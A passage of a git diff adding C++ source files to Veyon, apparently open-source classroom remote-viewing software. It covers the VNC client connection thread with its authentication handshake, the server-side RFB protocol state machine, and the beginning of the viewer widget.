* + * This file is part of Veyon - http://veyon.io + * + * code partly taken from KRDC / vncclientthread.cpp: + * Copyright (C) 2007-2008 Urs Wolfer + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include +#include +#include + +#include "AuthenticationCredentials.h" +#include "CryptoCore.h" +#include "PlatformNetworkFunctions.h" +#include "PlatformUserFunctions.h" +#include "VeyonConfiguration.h" +#include "VncConnection.h" +#include "SocketDevice.h" +#include "VariantArrayMessage.h" + +extern "C" +{ +#include +} + +// clazy:excludeall=copyable-polymorphic + +class KeyClientEvent : public MessageEvent +{ +public: + KeyClientEvent( unsigned int key, bool pressed ) : + m_key( key ), + m_pressed( pressed ) + { + } + + void fire( rfbClient* client ) override + { + SendKeyEvent( client, m_key, m_pressed ); + } + +private: + unsigned int m_key; + bool m_pressed; +} ; + + + +class PointerClientEvent : public MessageEvent +{ +public: + PointerClientEvent( int x, int y, int buttonMask ) : + m_x( x ), + m_y( y ), + m_buttonMask( buttonMask ) + { + } + + void fire( rfbClient* client ) override + { + SendPointerEvent( client, m_x, m_y, m_buttonMask ); + } + +private: + int m_x; + int m_y; + int m_buttonMask; +} ; + + + +class ClientCutEvent : public MessageEvent +{ +public: + ClientCutEvent( const QString& text ) : + m_text( text.toUtf8() ) + { + } + + void fire( rfbClient* client ) override + { + SendClientCutText( client, m_text.data(), m_text.size() ); // clazy:exclude=detaching-member + } + +private: + QByteArray m_text; +} ; + + + + + +rfbBool VncConnection::hookInitFrameBuffer( rfbClient* client ) +{ + auto connection = static_cast( clientData( client, VncConnectionTag ) ); + if( connection ) + { + return connection->initFrameBuffer( client ); + } + + return false; +} + + + + +void VncConnection::hookUpdateFB( rfbClient* client, int x, int y, int w, int h ) +{ + auto connection = static_cast( clientData( client, VncConnectionTag ) ); + if( connection ) + { + emit connection->imageUpdated( x, y, w, h ); + } +} + + + + +void VncConnection::hookFinishFrameBufferUpdate( rfbClient* client ) +{ + auto connection = static_cast( clientData( client, VncConnectionTag ) ); + if( connection ) + { + connection->finishFrameBufferUpdate(); + } +} + + + + +rfbBool VncConnection::hookHandleCursorPos( rfbClient* client, int x, int y ) +{ + auto connection = static_cast( clientData( client, VncConnectionTag ) ); + if( connection ) + { + emit connection->cursorPosChanged( x, y ); + } + + return true; +} + + + + +void VncConnection::hookCursorShape( rfbClient* client, int xh, int yh, int w, int h, int bpp ) +{ + if( bpp != 4 ) + { + qWarning() << Q_FUNC_INFO << QThread::currentThreadId() << "bytes per pixel != 4"; + return; + } + + QImage alpha( client->rcMask, w, h, QImage::Format_Indexed8 ); + alpha.setColorTable( { qRgb(255,255,255), qRgb(0,0,0) } ); + + QPixmap cursorShape( QPixmap::fromImage( QImage( client->rcSource, w, h, QImage::Format_RGB32 ) ) ); + cursorShape.setMask( QBitmap::fromImage( alpha ) ); + + auto connection = static_cast( clientData( client, VncConnectionTag ) ); + if( connection ) + { + emit connection->cursorShapeUpdated( cursorShape, xh, yh ); + } +} + + + +void VncConnection::hookCutText( rfbClient* client, const char* text, int textlen ) +{ + auto connection = static_cast( clientData( client, VncConnectionTag ) ); + const auto cutText = QString::fromUtf8( text, textlen ); + + if( connection && cutText.isEmpty() == false ) + { + emit connection->gotCut( cutText ); + } +} + + + +void VncConnection::rfbClientLogDebug( const char* format, ... ) +{ + va_list args; + va_start( args, format ); + + static const int MaxMessageLength = 256; + char message[MaxMessageLength]; + + vsnprintf( message, MaxMessageLength, format, args ); + message[MaxMessageLength-1] = 0; + + va_end(args); + + qDebug() << Q_FUNC_INFO << QThread::currentThreadId() << message; +} + + + + +void VncConnection::rfbClientLogNone( const char* format, ... ) +{ + Q_UNUSED(format); +} + + + +void VncConnection::framebufferCleanup( void* framebuffer ) +{ + delete[] static_cast( framebuffer ); +} + + + + +VncConnection::VncConnection( QObject* parent ) : + QThread( parent ), + m_state( Disconnected ), + m_framebufferState( FramebufferInvalid ), + m_controlFlags(), + m_client( nullptr ), + m_quality( DefaultQuality ), + m_host(), + m_port( -1 ), + m_veyonAuthType( RfbVeyonAuth::Logon ), + m_globalMutex(), + m_controlFlagMutex(), + m_updateIntervalSleeper(), + m_framebufferUpdateInterval( 0 ), + m_image(), + m_scaledScreen(), + m_scaledSize(), + m_imgLock() +{ + if( VeyonCore::config().authenticationMethod() == VeyonCore::KeyFileAuthentication ) + { + m_veyonAuthType = RfbVeyonAuth::KeyFile; + } +} + + + +VncConnection::~VncConnection() +{ + stop(); + + if( isRunning() ) + { + qWarning( "Waiting for VNC connection thread to finish." ); + wait( ThreadTerminationTimeout ); + } + + if( isRunning() ) + { + qWarning( "Terminating hanging VNC connection thread!" ); + + terminate(); + wait(); + } +} + + + +void VncConnection::initLogging( bool debug ) +{ + if( debug ) + { + rfbClientLog = rfbClientLogDebug; + rfbClientErr = rfbClientLogDebug; + } + else + { + rfbClientLog = rfbClientLogNone; + rfbClientErr = rfbClientLogNone; + } +} + + + +QImage VncConnection::image() const +{ + QReadLocker locker( &m_imgLock ); + return m_image; +} + + + +void VncConnection::restart() +{ + setControlFlag( RestartConnection, true ); +} + + + +void VncConnection::stop() +{ + setClientData( VncConnectionTag, nullptr ); + + m_scaledScreen = QImage(); + + setControlFlag( TerminateThread, true ); + + m_updateIntervalSleeper.wakeAll(); +} + + + +void VncConnection::stopAndDeleteLater() +{ + if( isRunning() ) + { + connect( this, &VncConnection::finished, this, &VncConnection::deleteLater ); + stop(); + } + else + { + deleteLater(); + } +} + + + +void VncConnection::setHost( const QString& host ) +{ + QMutexLocker locker( &m_globalMutex ); + m_host = host; + + // is IPv6-mapped IPv4 address? + QRegExp rx( "::[fF]{4}:(\\d+.\\d+.\\d+.\\d+)" ); + if( rx.indexIn( m_host ) == 0 ) + { + // then use plain IPv4 address as libvncclient cannot handle + // IPv6-mapped IPv4 addresses on Windows properly + m_host = rx.cap( 1 ); + } + else if( m_host == QStringLiteral( "::1" ) ) + { + m_host = QHostAddress( QHostAddress::LocalHost ).toString(); + } + else if( m_host.count( ':' ) == 1 ) + { + // host name + port number? + QRegExp rx2( "(.*[^:]):(\\d+)$" ); + if( rx2.indexIn( m_host ) == 0 ) + { + m_host = rx2.cap( 1 ); + m_port = rx2.cap( 2 ).toInt(); + } + } +} + + + +void VncConnection::setPort( int port ) +{ + if( port >= 0 ) + { + QMutexLocker locker( &m_globalMutex ); + m_port = port; + } +} + + + +void VncConnection::setFramebufferUpdateInterval( int interval ) +{ + m_framebufferUpdateInterval = interval; +} + + + + +void VncConnection::rescaleScreen() +{ + if( m_image.size().isValid() == false || + m_scaledSize.isNull() || + hasValidFrameBuffer() == false || + isControlFlagSet( ScaledScreenNeedsUpdate ) == false ) + { + return; + } + + QReadLocker locker( &m_imgLock ); + m_scaledScreen = m_image.scaled( m_scaledSize, Qt::IgnoreAspectRatio, Qt::SmoothTransformation ); + + setControlFlag( ScaledScreenNeedsUpdate, false ); +} + + + +void* VncConnection::clientData( rfbClient* client, int tag ) +{ + if( client ) + { + return rfbClientGetClientData( client, reinterpret_cast( tag ) ); + } + + return nullptr; +} + + + +void VncConnection::setClientData( int tag, void* data ) +{ + m_globalMutex.lock(); + + if( m_client ) + { + rfbClientSetClientData( m_client, reinterpret_cast( tag ), data ); + } + + m_globalMutex.unlock(); +} + + + +void VncConnection::run() +{ + while( isControlFlagSet( TerminateThread ) == false ) + { + establishConnection(); + handleConnection(); + closeConnection(); + } +} + + + +void VncConnection::establishConnection() +{ + QMutex sleeperMutex; + + setState( Connecting ); + setControlFlag( RestartConnection, false ); + + m_framebufferState = FramebufferInvalid; + + while( isControlFlagSet( TerminateThread ) == false && m_state != Connected ) // try to connect as long as the server allows + { + m_client = rfbGetClient( RfbBitsPerSample, RfbSamplesPerPixel, RfbBytesPerPixel ); + m_client->MallocFrameBuffer = hookInitFrameBuffer; + m_client->canHandleNewFBSize = true; + m_client->GotFrameBufferUpdate = hookUpdateFB; + m_client->FinishedFrameBufferUpdate = hookFinishFrameBufferUpdate; + m_client->HandleCursorPos = hookHandleCursorPos; + m_client->GotCursorShape = hookCursorShape; + m_client->GotXCutText = hookCutText; + setClientData( VncConnectionTag, this ); + + m_globalMutex.lock(); + + if( m_port < 0 ) // use default port? + { + m_client->serverPort = VeyonCore::config().primaryServicePort(); + } + else + { + m_client->serverPort = m_port; + } + + free( m_client->serverHost ); + m_client->serverHost = strdup( m_host.toUtf8().constData() ); + + m_globalMutex.unlock(); + + setControlFlag( ServerReachable, false ); + + if( rfbInitClient( m_client, nullptr, nullptr ) && + isControlFlagSet( TerminateThread ) == false ) + { + emit connectionEstablished(); + + VeyonCore::platform().networkFunctions().configureSocketKeepalive( m_client->sock, true, SocketKeepaliveIdleTime, + SocketKeepaliveInterval, SocketKeepaliveCount ); + + setState( Connected ); + } + else + { + // rfbInitClient() calls rfbClientCleanup() when failed + m_client = nullptr; + + // do not sleep when already requested to stop + if( isControlFlagSet( TerminateThread ) ) + { + break; + } + + // guess reason why connection failed + if( isControlFlagSet( ServerReachable ) == false ) + { + if( VeyonCore::platform().networkFunctions().ping( m_host ) == false ) + { + setState( HostOffline ); + } + else + { + setState( ServiceUnreachable ); + } + } + else if( m_framebufferState == FramebufferInvalid ) + { + setState( AuthenticationFailed ); + } + else + { + // failed for an unknown reason + setState( ConnectionFailed ); + } + + // wait a bit until next connect + sleeperMutex.lock(); + if( m_framebufferUpdateInterval > 0 ) + { + m_updateIntervalSleeper.wait( &sleeperMutex, static_cast( m_framebufferUpdateInterval ) ); + } + else + { + // default: retry every second + m_updateIntervalSleeper.wait( &sleeperMutex, ConnectionRetryInterval ); + } + sleeperMutex.unlock(); + } + } +} + + + +void VncConnection::handleConnection() +{ + QMutex sleeperMutex; + QElapsedTimer loopTimer; + + while( state() == Connected && + isControlFlagSet( TerminateThread ) == false && + isControlFlagSet( RestartConnection ) == false ) + { + loopTimer.start(); + + const int i = WaitForMessage( m_client, MessageWaitTimeout ); + if( isControlFlagSet( TerminateThread ) || i < 0 ) + { + break; + } + else if( i ) + { + // handle all available messages + bool handledOkay = true; + do { + handledOkay &= HandleRFBServerMessage( m_client ); + } while( handledOkay && WaitForMessage( m_client, 0 ) ); + + if( handledOkay == false ) + { + break; + } + } + + sendEvents(); + + const auto remainingUpdateInterval = m_framebufferUpdateInterval - loopTimer.elapsed(); + + if( m_framebufferState == FramebufferValid && + remainingUpdateInterval > 0 && + isControlFlagSet( TerminateThread ) == false ) + { + sleeperMutex.lock(); + m_updateIntervalSleeper.wait( &sleeperMutex, static_cast( remainingUpdateInterval ) ); + sleeperMutex.unlock(); + } + } + + sendEvents(); +} + + + +void VncConnection::closeConnection() +{ + if( m_client ) + { + rfbClientCleanup( m_client ); + m_client = nullptr; + } + + setState( Disconnected ); +} + + + +void VncConnection::setState( State state ) +{ + if( state != m_state ) + { + m_state = state; + + emit stateChanged(); + } +} + + + +void VncConnection::setControlFlag( VncConnection::ControlFlag flag, bool on ) +{ + m_controlFlagMutex.lock(); +#if (QT_VERSION < QT_VERSION_CHECK(5, 7, 0)) +#warning building compat code for Qt < 5.7 + if( on ) + { + m_controlFlags |= flag; + } + else + { + m_controlFlags &= ~static_cast( flag ); + } +#else + m_controlFlags.setFlag( flag, on ); +#endif + m_controlFlagMutex.unlock(); +} + + + +bool VncConnection::isControlFlagSet( VncConnection::ControlFlag flag ) +{ + QMutexLocker locker( &m_controlFlagMutex ); + return m_controlFlags.testFlag( flag ); +} + + + + +bool VncConnection::initFrameBuffer( rfbClient* client ) +{ + const auto size = static_cast( client->width * client->height * ( client->format.bitsPerPixel / 8 ) ); + + client->frameBuffer = new uint8_t[size]; + + memset( client->frameBuffer, '\0', size ); + + // initialize framebuffer image which just wraps the allocated memory and ensures cleanup after last + // image copy using the framebuffer gets destroyed + m_imgLock.lockForWrite(); + m_image = QImage( client->frameBuffer, client->width, client->height, QImage::Format_RGB32, framebufferCleanup, client->frameBuffer ); + m_imgLock.unlock(); + + // set up pixel format according to QImage + client->format.bitsPerPixel = 32; + client->format.redShift = 16; + client->format.greenShift = 8; + client->format.blueShift = 0; + client->format.redMax = 0xff; + client->format.greenMax = 0xff; + client->format.blueMax = 0xff; + + client->appData.encodingsString = "zrle ultra copyrect hextile zlib corre rre raw"; + client->appData.useRemoteCursor = false; + client->appData.compressLevel = 0; + client->appData.useBGR233 = false; + client->appData.qualityLevel = 9; + client->appData.enableJPEG = false; + + switch( quality() ) + { + case ScreenshotQuality: + // make sure to use lossless raw encoding + client->appData.encodingsString = "raw"; + break; + case RemoteControlQuality: + client->appData.useRemoteCursor = true; + break; + case ThumbnailQuality: + client->appData.compressLevel = 9; + client->appData.qualityLevel = 5; + client->appData.enableJPEG = true; + break; + default: + break; + } + + m_framebufferState = FramebufferInitialized; + + emit framebufferSizeChanged( client->width, client->height ); + + return true; +} + + + +void VncConnection::finishFrameBufferUpdate() +{ + m_framebufferState = FramebufferValid; + setControlFlag( ScaledScreenNeedsUpdate, true ); + + emit framebufferUpdateComplete(); + +} + + + +void VncConnection::sendEvents() +{ + m_globalMutex.lock(); + + while( m_eventQueue.isEmpty() == false ) + { + auto event = m_eventQueue.dequeue(); + + // unlock the queue mutex during the runtime of ClientEvent::fire() + m_globalMutex.unlock(); + + if( isControlFlagSet( TerminateThread ) == false ) + { + event->fire( m_client ); + } + + delete event; + + // and lock it again + m_globalMutex.lock(); + } + + m_globalMutex.unlock(); +} + + + +void VncConnection::enqueueEvent( MessageEvent* event) +{ + QMutexLocker lock( &m_globalMutex ); + if( m_state != Connected ) + { + return; + } + + m_eventQueue.enqueue( event ); +} + + + +void VncConnection::mouseEvent( int x, int y, int buttonMask ) +{ + enqueueEvent( new PointerClientEvent( x, y, buttonMask ) ); +} + + + +void VncConnection::keyEvent( unsigned int key, bool pressed ) +{ + enqueueEvent( new KeyClientEvent( key, pressed ) ); +} + + + +void VncConnection::clientCut( const QString& text ) +{ + enqueueEvent( new ClientCutEvent( text ) ); +} + + + +void VncConnection::handleSecTypeVeyon( rfbClient* client ) +{ + auto connection = static_cast( clientData( client, VncConnectionTag ) ); + if( connection == nullptr ) + { + return; + } + + SocketDevice socketDevice( libvncClientDispatcher, client ); + VariantArrayMessage message( &socketDevice ); + message.receive(); + + int authTypeCount = message.read().toInt(); + + QList authTypes; + authTypes.reserve( authTypeCount ); + + for( int i = 0; i < authTypeCount; ++i ) + { +#if QT_VERSION < 0x050600 +#warning Building legacy compat code for unsupported version of Qt + authTypes.append( static_cast( message.read().toInt() ) ); +#else + authTypes.append( message.read().value() ); +#endif + } + + qDebug() << Q_FUNC_INFO << QThread::currentThreadId() << "received authentication types:" << authTypes; + + RfbVeyonAuth::Type chosenAuthType = RfbVeyonAuth::Token; + if( authTypes.count() > 0 ) + { + chosenAuthType = authTypes.first(); + + // look whether the VncConnection recommends a specific + // authentication type (e.g. VeyonAuthHostBased when running as + // demo client) + + for( auto authType : authTypes ) + { + if( connection->veyonAuthType() == authType ) + { + chosenAuthType = authType; + } + } + } + + qDebug() << Q_FUNC_INFO << QThread::currentThreadId() << "chose authentication type:" << authTypes; + + VariantArrayMessage authReplyMessage( &socketDevice ); + + authReplyMessage.write( chosenAuthType ); + + // send username which is used when displaying an access confirm dialog + if( VeyonCore::authenticationCredentials().hasCredentials( AuthenticationCredentials::UserLogon ) ) + { + authReplyMessage.write( VeyonCore::authenticationCredentials().logonUsername() ); + } + else + { + authReplyMessage.write( VeyonCore::platform().userFunctions().currentUser() ); + } + + authReplyMessage.send(); + + VariantArrayMessage authAckMessage( &socketDevice ); + authAckMessage.receive(); + + switch( chosenAuthType ) + { + case RfbVeyonAuth::KeyFile: + if( VeyonCore::authenticationCredentials().hasCredentials( AuthenticationCredentials::PrivateKey ) ) + { + VariantArrayMessage challengeReceiveMessage( &socketDevice ); + challengeReceiveMessage.receive(); + const auto challenge = challengeReceiveMessage.read().toByteArray(); + + if( challenge.size() != CryptoCore::ChallengeSize ) + { + qCritical() << Q_FUNC_INFO << QThread::currentThreadId() << "challenge size mismatch!"; + break; + } + + // create local copy of private key so we can modify it within our own thread + auto key = VeyonCore::authenticationCredentials().privateKey(); + if( key.isNull() || key.canSign() == false ) + { + qCritical() << Q_FUNC_INFO << QThread::currentThreadId() << "invalid private key!"; + break; + } + + const auto signature = key.signMessage( challenge, CryptoCore::DefaultSignatureAlgorithm ); + + VariantArrayMessage challengeResponseMessage( &socketDevice ); + challengeResponseMessage.write( VeyonCore::instance()->authenticationKeyName() ); + challengeResponseMessage.write( signature ); + challengeResponseMessage.send(); + } + break; + + case RfbVeyonAuth::HostWhiteList: + // nothing to do - we just get accepted because the host white list contains our IP + break; + + case RfbVeyonAuth::Logon: + { + VariantArrayMessage publicKeyMessage( &socketDevice ); + publicKeyMessage.receive(); + + CryptoCore::PublicKey publicKey = CryptoCore::PublicKey::fromPEM( publicKeyMessage.read().toString() ); + + if( publicKey.canEncrypt() == false ) + { + qCritical() << Q_FUNC_INFO << QThread::currentThreadId() << "can't encrypt with given public key!"; + break; + } + + CryptoCore::SecureArray plainTextPassword( VeyonCore::authenticationCredentials().logonPassword().toUtf8() ); + CryptoCore::SecureArray encryptedPassword = publicKey.encrypt( plainTextPassword, CryptoCore::DefaultEncryptionAlgorithm ); + if( encryptedPassword.isEmpty() ) + { + qCritical() << Q_FUNC_INFO << QThread::currentThreadId() << "password encryption failed!"; + break; + } + + VariantArrayMessage passwordResponse( &socketDevice ); + passwordResponse.write( encryptedPassword.toByteArray() ); + passwordResponse.send(); + break; + } + + case RfbVeyonAuth::Token: + { + VariantArrayMessage tokenAuthMessage( &socketDevice ); + tokenAuthMessage.write( VeyonCore::authenticationCredentials().token() ); + tokenAuthMessage.send(); + break; + } + + default: + // nothing to do - we just get accepted + break; + } +} + + + +void VncConnection::hookPrepareAuthentication( rfbClient* client ) +{ + auto connection = static_cast( clientData( client, VncConnectionTag ) ); + if( connection ) + { + // set our internal flag which indicates that we basically have communication with the client + // which means that the host is reachable + connection->setControlFlag( ServerReachable, true ); + } +} + + + +qint64 VncConnection::libvncClientDispatcher( char* buffer, const qint64 bytes, + SocketDevice::SocketOperation operation, void* user ) +{ + rfbClient* client = static_cast( user ); + switch( operation ) + { + case SocketDevice::SocketOpRead: + return ReadFromRFBServer( client, buffer, bytes ) ? bytes : 0; + + case SocketDevice::SocketOpWrite: + return WriteToRFBServer( client, buffer, bytes ) ? bytes : 0; + } + + return 0; +} + + + +void handleSecTypeVeyon( rfbClient *client ) +{ + VncConnection::hookPrepareAuthentication( client ); + VncConnection::handleSecTypeVeyon( client ); +} diff --git a/core/src/VncServerProtocol.cpp b/core/src/VncServerProtocol.cpp new file mode 100644 index 0000000..a68f8da --- /dev/null +++ b/core/src/VncServerProtocol.cpp @@ -0,0 +1,339 @@ +/* + * VncServerProtocol.cpp - implementation of the VncServerProtocol class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "AuthenticationCredentials.h" +#include "VariantArrayMessage.h" +#include "VncServerClient.h" +#include "VncServerProtocol.h" + +#include "rfb/rfbproto.h" + + + +VncServerProtocol::VncServerProtocol( QTcpSocket* socket, + VncServerClient* client ) : + m_socket( socket ), + m_client( client ), + m_serverInitMessage() +{ + m_client->setAccessControlState( VncServerClient::AccessControlInit ); +} + + + +VncServerProtocol::~VncServerProtocol() +{ +} + + + +VncServerProtocol::State VncServerProtocol::state() const +{ + return m_client->protocolState(); +} + + + +void VncServerProtocol::start() +{ + if( state() == Disconnected ) + { + char protocol[sz_rfbProtocolVersionMsg+1]; // Flawfinder: ignore + + sprintf( protocol, rfbProtocolVersionFormat, 3, 8 ); // Flawfinder: ignore + + m_socket->write( protocol, sz_rfbProtocolVersionMsg ); + + setState( Protocol ); + } +} + + + +bool VncServerProtocol::read() +{ + switch( state() ) + { + case Protocol: + return readProtocol(); + + case SecurityInit: + return receiveSecurityTypeResponse(); + + case AuthenticationTypes: + return receiveAuthenticationTypeResponse(); + + case Authenticating: + return receiveAuthenticationMessage(); + + case AccessControl: + return processAccessControl(); + + case FramebufferInit: + return processFramebufferInit(); + + case Close: + qDebug( "VncServerProtocol::read(): closing connection per protocol state" ); + m_socket->close(); + break; + + default: + break; + } + + return false; +} + + + +void VncServerProtocol::setState( VncServerProtocol::State state ) +{ + m_client->setProtocolState( state ); +} + + + +bool VncServerProtocol::readProtocol() +{ + if( m_socket->bytesAvailable() == sz_rfbProtocolVersionMsg ) + { + const auto protocol = m_socket->read( sz_rfbProtocolVersionMsg ); + + if( protocol.size() != sz_rfbProtocolVersionMsg ) + { + qCritical( "VncServerProtocol:::readProtocol(): protocol initialization failed" ); + m_socket->close(); + return false; + } + + QRegExp protocolRX( QStringLiteral("RFB (\\d\\d\\d)\\.(\\d\\d\\d)\n") ); + + if( protocolRX.indexIn( QString::fromUtf8( protocol ) ) != 0 ) + { + qCritical( "VncServerProtocol:::readProtocol(): invalid protocol version" ); + m_socket->close(); + return false; + } + + setState( SecurityInit ); + + return sendSecurityTypes(); + } + + return false; +} + + + +bool VncServerProtocol::sendSecurityTypes() +{ + // send list of supported security types + const char securityTypeList[2] = { 1, rfbSecTypeVeyon }; // Flawfinder: ignore + m_socket->write( securityTypeList, sizeof( securityTypeList ) ); + + return true; +} + + + +bool VncServerProtocol::receiveSecurityTypeResponse() +{ + if( m_socket->bytesAvailable() >= 1 ) + { + char chosenSecurityType = 0; + + if( m_socket->read( &chosenSecurityType, sizeof(chosenSecurityType) ) != sizeof(chosenSecurityType) || + chosenSecurityType != rfbSecTypeVeyon ) + { + qCritical( "VncServerProtocol:::receiveSecurityTypeResponse(): protocol initialization failed" ); + m_socket->close(); + + return false; + } + + setState( AuthenticationTypes ); + + return sendAuthenticationTypes(); + } + + return false; +} + + + +bool VncServerProtocol::sendAuthenticationTypes() +{ + const auto authTypes = supportedAuthTypes(); + + VariantArrayMessage message( m_socket ); + message.write( authTypes.count() ); + + for( auto authType : authTypes ) + { + message.write( authType ); + } + + return message.send(); +} + + + +bool VncServerProtocol::receiveAuthenticationTypeResponse() +{ + VariantArrayMessage message( m_socket ); + + if( message.isReadyForReceive() && message.receive() ) + { +#if QT_VERSION < 0x050600 +#warning Building legacy compat code for unsupported version of Qt + const auto chosenAuthType = static_cast( message.read().toInt() ); +#else + const auto chosenAuthType = message.read().value(); +#endif + + if( supportedAuthTypes().contains( chosenAuthType ) == false ) + { + qCritical( "VncServerProtocol:::receiveAuthenticationTypeResponse(): unsupported authentication type chosen by client!" ); + m_socket->close(); + + return false; + } + + if( chosenAuthType == RfbVeyonAuth::None ) + { + qWarning( "VncServerProtocol::receiveAuthenticationTypeResponse(): skipping authentication." ); + setState( AccessControl ); + return true; + } + + const QString username = message.read().toString(); + + m_client->setAuthType( chosenAuthType ); + m_client->setUsername( username ); + m_client->setHostAddress( m_socket->peerAddress().toString() ); + + setState( Authenticating ); + + // send auth ack message + VariantArrayMessage( m_socket ).send(); + + // init authentication + VariantArrayMessage dummyMessage( m_socket ); + processAuthentication( dummyMessage ); + } + + return false; +} + + + +bool VncServerProtocol::receiveAuthenticationMessage() +{ + VariantArrayMessage message( m_socket ); + + if( message.isReadyForReceive() && message.receive() ) + { + return processAuthentication( message ); + } + + return false; +} + + + +bool VncServerProtocol::processAuthentication( VariantArrayMessage& message ) +{ + processAuthenticationMessage( message ); + + switch( m_client->authState() ) + { + case VncServerClient::AuthFinishedSuccess: + { + uint32_t authResult = qToBigEndian(rfbVncAuthOK); + m_socket->write( reinterpret_cast( &authResult ), sizeof(authResult) ); + + setState( AccessControl ); + return true; + } + + case VncServerClient::AuthFinishedFail: + qCritical( "VncServerProtocol:::receiveAuthenticationMessage(): authentication failed - closing connection" ); + m_socket->close(); + + return false; + + default: + break; + } + + return false; +} + + + +bool VncServerProtocol::processAccessControl() +{ + performAccessControl(); + + switch( m_client->accessControlState() ) + { + case VncServerClient::AccessControlSuccessful: + setState( FramebufferInit ); + return true; + + case VncServerClient::AccessControlPending: + case VncServerClient::AccessControlWaiting: + break; + + default: + qCritical( "VncServerProtocol:::processAccessControl(): access control failed - closing connection" ); + m_socket->close(); + break; + } + + return false; +} + + + +bool VncServerProtocol::processFramebufferInit() +{ + if( m_socket->bytesAvailable() >= sz_rfbClientInitMsg && + m_serverInitMessage.isEmpty() == false ) + { + // just read client init message without further evaluation + m_socket->read( sz_rfbClientInitMsg ); + + m_socket->write( m_serverInitMessage ); + + setState( Running ); + + return true; + } + + return false; +} diff --git a/core/src/VncView.cpp b/core/src/VncView.cpp new file mode 100644 index 0000000..9be36be --- /dev/null +++ b/core/src/VncView.cpp @@ -0,0 +1,831 @@ +/* + * VncView.cpp - VNC viewer widget + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#define XK_KOREAN +#include "rfb/keysym.h" + +#include "VncView.h" +#include "PlatformInputDeviceFunctions.h" +#include "KeyboardShortcutTrapper.h" +#include "ProgressWidget.h" + +#include +#include +#include +#include +#include + + +VncView::VncView( const QString &host, int port, QWidget *parent, Mode mode ) : + QWidget( parent ), + m_vncConn( new VncConnection( QCoreApplication::instance() ) ), + m_mode( mode ), + m_cursorShape(), + m_cursorX( 0 ), + m_cursorY( 0 ), + m_framebufferSize( 0, 0 ), + m_cursorHotX( 0 ), + m_cursorHotY( 0 ), + m_viewOnly( true ), + m_viewOnlyFocus( true ), + m_initDone( false ), + m_buttonMask( 0 ), + m_establishingConnectionWidget( nullptr ), + m_keyboardShortcutTrapper( VeyonCore::platform().inputDeviceFunctions().createKeyboardShortcutTrapper( this ) ), + m_mouseBorderSignalTimer( this ) +{ + m_vncConn->setHost( host ); + m_vncConn->setPort( port ); + + if( m_mode == DemoMode ) + { + m_vncConn->setQuality( VncConnection::DefaultQuality ); + m_vncConn->setVeyonAuthType( RfbVeyonAuth::HostWhiteList ); + m_establishingConnectionWidget = new ProgressWidget( + tr( "Establishing connection to %1 ..." ).arg( m_vncConn->host() ), + QStringLiteral( ":/resources/watch%1.png" ), 16, this ); + connect( m_vncConn, &VncConnection::stateChanged, + this, &VncView::updateConnectionState ); + } + else if( m_mode == RemoteControlMode ) + { + m_vncConn->setQuality( VncConnection::RemoteControlQuality ); + } + + connect( m_vncConn, &VncConnection::imageUpdated, this, &VncView::updateImage ); + connect( m_vncConn, &VncConnection::framebufferSizeChanged, this, &VncView::updateFramebufferSize ); + + connect( m_vncConn, &VncConnection::cursorPosChanged, this, &VncView::updateCursorPos ); + connect( m_vncConn, &VncConnection::cursorShapeUpdated, this, &VncView::updateCursorShape ); + + // handle/forward trapped keyboard shortcuts + connect( m_keyboardShortcutTrapper, &KeyboardShortcutTrapper::shortcutTrapped, + this, &VncView::handleShortcut ); + + // set up mouse border signal timer + m_mouseBorderSignalTimer.setSingleShot( true ); + m_mouseBorderSignalTimer.setInterval( MouseBorderSignalDelay ); + connect( &m_mouseBorderSignalTimer, &QTimer::timeout, this, &VncView::mouseAtBorder ); + + // set up background color + if( parent == nullptr ) + { + parent = this; + } + QPalette pal = parent->palette(); + pal.setColor( parent->backgroundRole(), Qt::black ); + parent->setPalette( pal ); + + show(); + + resize( QApplication::desktop()->availableGeometry( this ).size() - QSize( 10, 30 ) ); + + setFocusPolicy( Qt::StrongFocus ); + setFocus(); + + m_vncConn->start(); +} + + + +VncView::~VncView() +{ + // do not receive any signals during connection shutdown + m_vncConn->disconnect( this ); + + unpressModifiers(); + delete m_keyboardShortcutTrapper; + + m_vncConn->stopAndDeleteLater(); + m_vncConn = nullptr; +} + + + +bool VncView::eventFilter(QObject *obj, QEvent *event) +{ + if( m_viewOnly ) + { + if( event->type() == QEvent::KeyPress || + event->type() == QEvent::KeyRelease || + event->type() == QEvent::MouseButtonDblClick || + event->type() == QEvent::MouseButtonPress || + event->type() == QEvent::MouseButtonRelease || + event->type() == QEvent::Wheel ) + return true; + } + + return QWidget::eventFilter(obj, event); +} + + + +QSize VncView::sizeHint() const +{ + return framebufferSize(); +} + + + +QSize VncView::scaledSize() const +{ + if( isScaledView() == false ) + { + return m_framebufferSize; + } + + return m_framebufferSize.scaled( size(), Qt::KeepAspectRatio ); +} + + + +void VncView::setViewOnly( bool viewOnly ) +{ + if( viewOnly == m_viewOnly ) + { + return; + } + 